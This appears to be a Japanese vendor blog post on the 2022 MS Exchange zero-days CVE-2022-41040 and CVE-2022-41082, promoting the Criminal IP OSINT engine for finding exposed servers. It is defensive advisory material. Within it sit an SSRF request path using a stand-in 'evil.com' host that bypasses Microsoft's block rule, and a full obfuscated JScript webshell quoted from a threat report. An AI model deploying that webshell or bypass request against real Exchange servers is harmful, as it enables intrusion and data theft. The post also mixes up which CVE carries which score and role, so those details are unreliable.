2022年9月30日、MicrosoftはMS Officeのゼロデイ脆弱性を公表しました。Microsoft Exchange Server 2013, Exchange Server 2016 及び Exchange Server 2019 から新たな脆弱性が発見されたのです。今回の投稿では、Security OSINTツールを使って今度の MS Exchangeゼロデイ脆弱性 の影響を受けるサーバーを検知する方法と実際にExploit可能な検知ケースを扱います。

見つかった脆弱性はCVE-2022-41082,CVE-2022-41040の2つです攻撃しようとするExchange Serverに認証されたAccessの権限がある場合、2つの脆弱性を同時に使ってサーバーにリモートコード実行(Remote Code Execution, RCE)攻撃を行えます。

脆弱性は各々8.8、6.3のCVSSスコアをもらいました。

新たなゼロデイ脆弱性が公表されたMS Exchangeのサーバーを使うOutlookメールサービスのログイン画面
新たなゼロデイ脆弱性が公表されたMS Exchangeのサーバーを使うOutlookメールサービスのログイン画面

ハッカーの MS Exchangeゼロデイ脆弱性 のExploit方法

ハッカーはCVE-2022-41040(CVSSv3スコア8.8)脆弱性を通じてサイト・リクエスト・フォージェリ(Server-side Request Forgery, SSRF)攻撃で権限を上昇させ、CVE-2022-41040(CVSSv3スコア8.8)の脆弱性でサーバーにリモートコードを実行(Remote Code Execution, RCE)します。Exchange Serverを損傷させた後には、設置された悪性アプリを通じてActive Direct及びデータを流出します。特にハッカーは外部に開いていて脆弱なExchange Serverを狙うが、標的となったサーバーにautodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com HTTPリクエストをすると、既存MSが勧めたBlocking Ruleをバイパスすることができます。アクセスができるようになると、Exchange backend componentに本格的にリモートコードを実行します。

ハッカーのMS Exchangeゼロデイ脆弱性をExploitする方法
ハッカーのMS Exchangeゼロデイ脆弱性をExploitする方法

画像の出典 : Microsoft Security、Analyzing attacks using the Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082

ベトナムセキュリティ企業のGTSCによるとCVE-2022-41040のSSRF攻撃で、Exchangeサーバーに難読化されたWebshell(システムにコマンドをくださるウェブプログラムのアップロード可能な脆弱性)がリクエストされたことが確認されました。ハッカーは、User-agentを使ってAntsword(中国語基盤のオープンソースクロスプラットフォーム管理ツール)を使います。ハッカーが使用したWebshellは、中国語の簡体字を使うWindowsコードページ936として確認され、中国のハッカー集団から攻撃が行われたと推測されるという報告がありました。

さらに注目すべきことは、ハッカーがRedirSuiteServiceProxy.aspxファイル(Exchangeサーバーで使える正規ファイル)の内容もWebshellコンテンツに変更したことです。

#サーバーにリクエストされたWebshell

<%@Page Language="Jscript"%>
 
<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('NTcyM'+'jk3O3'+'ZhciB'+'zYWZl'+''+'P'+'S'+char(837-763)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('MQ=='))+char(51450/525)+''+''+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('Wg=='))+'m'+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydF'+'WjBXS'+'WFtRG'+'Z6bU8'+'xajhk'+'J10sI'+'HNhZm'+'UpOzE'+'3MTY4'+'OTE7'+'')));%>

Exploit可能なMS Exchangeサーバー、Security OSINTツールで検知

Security OSINTツールであCrimianl IP (https://www.criminalip.io/ja) でMS Exchangeゼロデイ脆弱性を検索してみると、脆弱なExchange Serverを確認できます。cve_idフィルターを使ってCVE-2022-41082脆弱性を検索してみたら、総97,804のIPアドレスで脆弱なExchange Serverが使われていることが分かります。

Search Query : cve_id: CVE-2022-41082

Security OSINT検索エンジンであるCriminal IPにMS Exchangeゼロデイ脆弱性のCVEを検査した結果
Security OSINT検索エンジンであるCriminal IPにMS Exchangeゼロデイ脆弱性のCVEを検査した結果
Security OSINT検索エンジンであるCriminal IPにMS Exchangeゼロデイ脆弱性のCVEを検査した結果
Security OSINT検索エンジンであるCriminal IPにMS Exchangeゼロデイ脆弱性のCVEを検査した結果

該当MS Exchangeの脆弱性があるIPアドレスのPort統計をみると、おおかた80/443ポートが開いており、%443の形で443の前に数字をつけた8443、4433などのポートも発見されます。

Criminal IPに MS Exchangeゼロデイ脆弱性 のCVEを検査した結果
Criminal IPに MS Exchangeゼロデイ脆弱性 のCVEを検査した結果

しかも、いくつかのIPアドレスは証明書が脆弱な状態で運営されていることが分かります。

Criminal IPで検知した MS Exchange脆弱性 があるサーバー、証明書が脆弱な状態である
Criminal IPで検知したMS Exchange脆弱性があるサーバー、証明書が脆弱な状態である

Criminal IPで検索されるほとんどのIPアドレスは80、443ポートが脆弱だと検知され、Inbound ScoreがCriticalに示され、悪性IPアドレスに判断されることもあります。次のIPアドレスインテリジェンスの分析内容を見ると、総89個の脆弱性が繋がっており、イシューのCVE-2022-41082、CVE-2022-41040以外の他の脆弱性も確認されます。また、該当IPアドレスはHosting IPなので、ハッカーがCVE-2022-41040を通じて権限を奪い取り、繋がっている内部網まで浸透すると、もっと多くの情報を流出させることもできます。

MS Exchangeゼロデイ脆弱性
MS Exchangeゼロデイ脆弱性サーバーのIPアドレス分析結果、89件の脆弱性がマッピングされている
MS Exchangeゼロデイ脆弱性
MS Exchange脆弱性IPアドレスのポート情報及び脆弱性情報

企業及び公共機関のMS Exchangeゼロデイ脆弱性、その措置とは

MSは、今度の脆弱性に対する解決策としてIIS Manager →  Default Web Site →  URL Rewrite →  Actionsに  *autodiscover\.json.*Powershell.* ブロックルールを加えたと知られている攻撃パターンをブロックし、リモートPowerShellアクセスを非活性化する措置を勧告しています。

しかし、全てのゼロデイ脆弱性がそうであるように、新たに見つかった脆弱性はどんなサーバーに影響を及ぼすかを把握することすら非常に難しいです。一般的に企業および公共機関のセキュリティ担当者は、ゼロデイ脆弱性イシューが発生すると脆弱性スキャナーなどを活用して措置すべき対象を選別します。しかし、運営される全てのサーバーを対象にスキャニングすることは無理で、そうすると攻撃が発生する前、はやめに措置を取れない恐れがあります。

この投稿で扱ったSecurity OSINTツールを使ったMS Exchangeゼロデイ脆弱性サーバーの検知方法を活用すると、脆弱性のスキャンの代わりに迅速に脆弱な資産を探し出せます。また、内部から把握できていない放置された資産、ミスで開いているポートまで脆弱性のスキャンができ、効果的な攻撃対象領域管理ができるようになります。従って、早くMS Exchangeゼロデイ脆弱性の脅威の有無をチェックするためには、Security OSINTツールであるCriminal IPで使用中のIPアドレスを検索し、CVEマッピングの状態を調べた方がいいです。

関連しては、2022年6月発行したAtlassian Confluence ゼロデイ脆弱性に漏洩されたサーバーの検知方法および脆弱性についての分析をご参照ください。


データの提供:Criminal IP (https://www.criminalip.io/ja)

ご参照: